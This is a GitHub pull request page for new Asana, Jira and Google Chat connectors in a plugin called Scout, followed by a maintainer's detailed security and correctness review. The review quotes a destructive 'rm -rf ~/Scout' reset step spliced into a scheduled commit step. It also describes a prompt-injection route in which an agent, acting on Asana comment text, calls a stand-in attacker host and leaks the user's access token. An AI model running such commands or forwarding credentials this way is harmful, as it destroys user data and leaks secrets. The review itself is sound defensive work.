Skip to content

feat: add Asana (CLI-first), Jira, and Google Chat connectors#180

Open
cvrysanek wants to merge 1 commit into
Raven-Scout:mainfrom
cvrysanek:feat/asana-cli-connector
Open

feat: add Asana (CLI-first), Jira, and Google Chat connectors#180
cvrysanek wants to merge 1 commit into
Raven-Scout:mainfrom
cvrysanek:feat/asana-cli-connector

Conversation

@cvrysanek

Copy link
Copy Markdown

Summary

Adds three connectors to Scout — Asana, Jira (jtk CLI), and Google Chat (gws CLI) — plus connector-priority sweeps and supporting docs. The Asana connector is CLI-first: it ships a bundled, dependency-light asana-api CLI (PAT-based REST wrapper) with the claude.ai Asana MCP as runtime fallback. Jira and Google Chat follow the existing external-CLI pattern.

Note for the maintainer: upstream currently has none of these connectors, so this is net-new. Happy to split into per-connector PRs (Asana / Jira / Google Chat) if you'd prefer smaller reviews — say the word.

Connectors added

  • Asana (asana:cli) — bundled skills/asana-api/ CLI (scripts/asana_api.py, Python stdlib only). Reads tasks/sections/comments/stories, posts comments incl. @mentions (Asana rich-text <a data-asana-gid>). MCP fallback retained. Bootstrap stages the script into the vault; request subcommand is the raw-REST escape hatch.
  • Jira (jtk:jira) — issue tracking, JQL search, sprint snapshot, status sync. Setup doc covers API-token + jtk init.
  • Google Chat (gws:chat) — space/DM monitoring, outbound tracking, notifications.

Supporting changes

  • phases/connectors/{asana,jira,google-chat}.md — connector slot logic (inbound-scan / query / cross-check / update).
  • engine/scout/connectors.yaml + connectors.snapshot.json + snapshot test — registry entries (asana:cli, jtk:jira, gws:chat).
  • commands/scout-setup.md, commands/scout-status.md — detection + status rows.
  • engine/scout/docs/connectors/*-setup.md — per-connector setup walkthroughs (token acquisition + storage).
  • templates/scout-config.yaml.tmpl — connector flags + per-connector config keys.
  • phases/connectors/drive.md — explicit Gemini Meeting Notes sweep.

Testing

  • cd engine && uv run pytest tests/unit/870 passed (incl. new test_install_stages_asana_api_cli).
  • claude plugin validate .passed.
  • Live-verified every Asana CLI command path + jtk against real workspaces.

Reviewer notes

  • ~99% of the line count is the vendored asana_api.py (≈6.6k lines, stdlib-only, self-contained).
  • This branch also carries a couple of repo-local dev files (AGENTS.md, CLAUDE.md dev notes, engine/uv.lock) — flag if you'd rather I drop them from the contribution.

Adds three connectors following the plugin's existing patterns:

- Asana (`asana:cli`) — bundled dependency-light `asana-api` CLI
  (skills/asana-api/, Python stdlib only, PAT-based REST). Reads
  tasks/sections/comments/stories, posts comments incl. @mentions.
  claude.ai Asana MCP retained as runtime fallback. Bootstrap stages
  the script into the vault; `request` subcommand is the raw-REST hatch.
- Jira (`jtk:jira`) — issue tracking, JQL search, sprint snapshot.
- Google Chat (`gws:chat`) — space/DM monitoring, notifications.

Includes connector phase logic, registry entries (connectors.yaml +
snapshot + tests), per-connector setup docs, and scout-setup/status
wiring. No changes to marketplace.json, plugin identity, or unrelated files.

Tests: 870 passed. Plugin validate: passed.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@cvrysanek cvrysanek force-pushed the feat/asana-cli-connector branch from 2d1686d to 7a072a4 Compare July 1, 2026 12:39
@cvrysanek cvrysanek marked this pull request as ready for review July 1, 2026 12:40
@jordanrburger jordanrburger requested a review from a team July 1, 2026 19:37
@jordanrburger

Copy link
Copy Markdown
Collaborator

First off — thank you for this, @cvrysanek! 🙏 This is a genuinely substantial contribution: three connectors, a self-contained stdlib-only Asana CLI, setup docs, phase files, registry entries, and a snapshot test, all wired through the existing patterns. We're really happy to have it, and the CLI-first approach for Asana is a nice touch. Thanks also for the upfront offer to split into per-connector PRs and to drop the repo-local dev files — both are appreciated.

I gave it a thorough review. The bones are solid (the registry↔snapshot counts line up at 14, the parser contract is untouched, and the Asana CLI itself is well-built). Two things stand out as blockers, and both trace back to what looks like a bad merge that resurrected the pre-engine manual setup wizardcommands/scout-setup.md grew 208→1047 lines, and that splice is the root of findings #1 and #2. There's also a recurring theme that the new connectors were authored against config values that never actually reach the assembled skill. Details below, most-severe first.

None of this is a knock on the work — happy to pair on the fixes if you'd like (see the note at the bottom).

Findings (most severe first)

1. commands/scout-setup.md:509 — a vault-wipe (rm -rf ~/Scout) is spliced into the assembled morning-briefing SKILL.md's "Git Commit" step. 🚨 The assembly template's ## Git Commit section reads "Commit all changes with a descriptive message:" and is then followed by a bash block that runs launchctl bootout …, rm -f ~/Library/LaunchAgents/com.scout.*.plist, strips the scout crontab, and rm -rf ~/Scout (lines 513–522). That's the old Manual Reset snippet, orphaned here because the assembly content was pasted through the middle of the Manual Reset section (the real ## Manual Reset at line 381 now holds assembly prose instead). If the wizard assembles SKILL.md as instructed ("paste the FULL content… Do not summarize"), every scheduled briefing run would execute a "commit" step that unloads the scheduler and deletes the entire vault.

2. engine/scout/scripts/bootstrap.py:148 (+ phases/connectors/jira.md:52) — all three connectors render non-functional via the sanctioned scoutctl bootstrap install path. The phase files depend on connector config vars — {{ASANA_WORKSPACE_GID}}, {{ASANA_PROJECTS}}, {{USER_GOOGLE_CHAT_ID}}, {{JIRA_PROJECTS}}, {{USER_JIRA_ACCOUNT_ID}}, etc. — but none are defined in _template_vars() and cli.py's bootstrap install has no flags to collect them. render_template (_VAR_RE = \{\{(\w+)\}\}) replaces unknown vars with "", so the assembled skill emits things like request GET /workspaces//tasks/search and project in (). Jira is doubly affected: it also uses ${JIRA_PROJECTS}, ${USER_JIRA_ACCOUNT_ID}, ${JIRA_PRIMARY_PROJECT}, ${JIRA_BASE_URL} (shell sigils) in its JQL, which _VAR_RE never substitutes and no runner exports — and ${JIRA_BASE_URL} is defined nowhere in the repo. Net result: the scoped queries run empty or 400 out.

3. skills/asana-api/scripts/asana_api.py:921 — the request escape-hatch will send the user's Asana PAT to any host. build_url() passes through any absolute http(s):// URL verbatim, and api_request() unconditionally attaches Authorization: Bearer <PAT>; the request subcommand's path arg is documented as "Relative /path or full URL" (line 5982). There's no host allowlist. An agent acting on prompt-injected Asana comment/task content (which this connector reads) that runs asana_api.py request GET https://attacker.example/… would exfiltrate the PAT; plain http:// is also accepted, leaking it in cleartext. Suggest pinning request to the Asana host.

4. skills/asana-api/SKILL.md:22 — the documented context-file keys are never read. SKILL.md tells users to write {"default_workspace_gid": …, "default_team_gid": …}, but load_context() reads the file verbatim and workspace_default/team_default look up context.get("workspace_gid") / context.get("team_gid") (lines 2230, 2247). A context file created per the docs is silently ignored, so teams, users, search-tasks, inbox-cleanup, etc. exit with "No workspace GID provided…" despite a configured default.

5. skills/asana-api/scripts/asana_api.py:1474 — a real name and vendor brand are hardcoded, which trips our public-repo rule and also misclassifies tasks. infer_task_work_type() forces work_type='admin' for any task whose name contains "eli -", and the noise regex at line 155 hardcodes trainual — both look carried over from the original author's private setup. Our CLAUDE.md asks: "No real identifiers. Strip company/product names, real coworker names…" and "Don't hardcode personal config in source." Beyond the anonymization concern, a legit task like "Eli - review Q3 contract" gets bucketed as background noise and drops out of every user's briefings.

6. engine/scout/docs/connectors/asana-setup.md:51 — the project-listing setup example crashes. It passes query params as --data 'limit=200&opt_fields=name,gid', but --data is parsed as a JSON body (json.loads(args.data), line 2547); query params need repeated --query k=v. A user following step 4 to collect project GIDs gets a JSONDecodeError instead of a list, blocking the config step the sweeps depend on.

7. skills/asana-api/scripts/asana_api.py:6211--source-section appends to its default instead of replacing it. The arg is action="append", default=list(DEFAULT_INBOX_CLEANUP_SOURCE_SECTIONS) (["Recently assigned"]). Because argparse appends, inbox-cleanup --source-section "Later" yields ["Recently assigned", "Later"] — "Recently assigned" can never be excluded, so --apply moves tasks the user never intended to triage.

8. skills/asana-api/scripts/asana_api.py:1165chunked() is defined twice with contradictory semantics. Both def chunked(...) at lines 1094 and 1165 are module-level; the second shadows the first and returns the whole list for size<=0, whereas the first raises ValueError. batch_actions_request_chunked loses that validation — a caller relying on the raise would instead get a single oversized batch (Asana rejects >10 actions). Just delete the duplicate.

Also worth addressing (lower severity)

  • Registry health is effectively dead config. The new keys asana:cli / jtk:jira / gws:chat can never be emitted by hooks/connector_log.py::classify(), which maps Bash calls to bash:<argv0> (bash:jtk, bash:gws, bash:python3) with only a gh→github exception — so the nicely-written first_fix/remediation strings never fire. The three entries also use the deprecated required_in: [] rather than required_in_types: [].
  • templates/connector-probes.yaml wasn't updated — jira/asana/google_chat are absent from the declarative probe registry, so they're invisible to connectors probe-registry and the user-overlay mechanism, while the wizard re-hardcodes Slack/Gmail/Linear/Calendar probes (double-probing) under a mislabeled ### GitHub heading.
  • The resurrected manual assembly path (root cause of feat: v0.2.0 — Research mode, Knowledge Graph, budget system, session skills #1/v0.3.0 — pre-session hooks, work + meta-review, action-items GUI #2) overwrites engine-generated, snapshot-tracked files (SKILL.md, scout-config.yaml) right after scoutctl bootstrap install writes them, which breaks /scout-update's 3-way merge; it also drops the old bootstrap success/doctor verification line and leaves an unclosed ```markdown fence. The Knowledge-Graph-Health rewrite in scout-status.md looks like unrelated scope creep for a connectors PR.
  • A few docs reference commands that don't exist: SKILL.md:67/:160 show batch --actions actions.json but --actions takes inline JSON (a file needs --actions-file); phases/connectors/asana.md references a user <GID> subcommand the CLI doesn't define. SKILL.md:148 also embeds a real-looking 16-digit Asana GID (1208668767580814) — worth swapping for a placeholder.
  • Some bloat/efficiency: a good chunk of asana_api.py (inbox-cleanup / daily-briefing / manager-plan heuristics, plus 14 near-identical *_opt_fields wrappers and a 12× copy-pasted batch-marshalling block) isn't invoked by any Scout phase yet is staged into every vault unconditionally; whoami/daily-briefing re-paginate the full My Tasks list, and the phase files run full board/space sweeps every session instead of since-timestamp deltas.

Suggested path forward

I'd treat #1 and #2 as the blockers — everything else is very fixable. Taking you up on your offer, splitting into per-connector PRs (Asana / Jira / Google Chat) plus dropping the scout-setup.md/scout-status.md rewrites would shrink the surface to the parts that are already in good shape, and would make #1 disappear entirely.

And genuinely — I'm happy to pair on the fixes with you if that's easier than a round-trip of review comments. I can take the scout-setup.md merge untangling and the _template_vars/CLI-flag plumbing (#1, #2) since those touch engine internals, and leave the Asana-CLI-local items (#3#8) to you, or we can split it however you prefer. Just let me know what works. Thanks again for the great contribution! 🙌

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants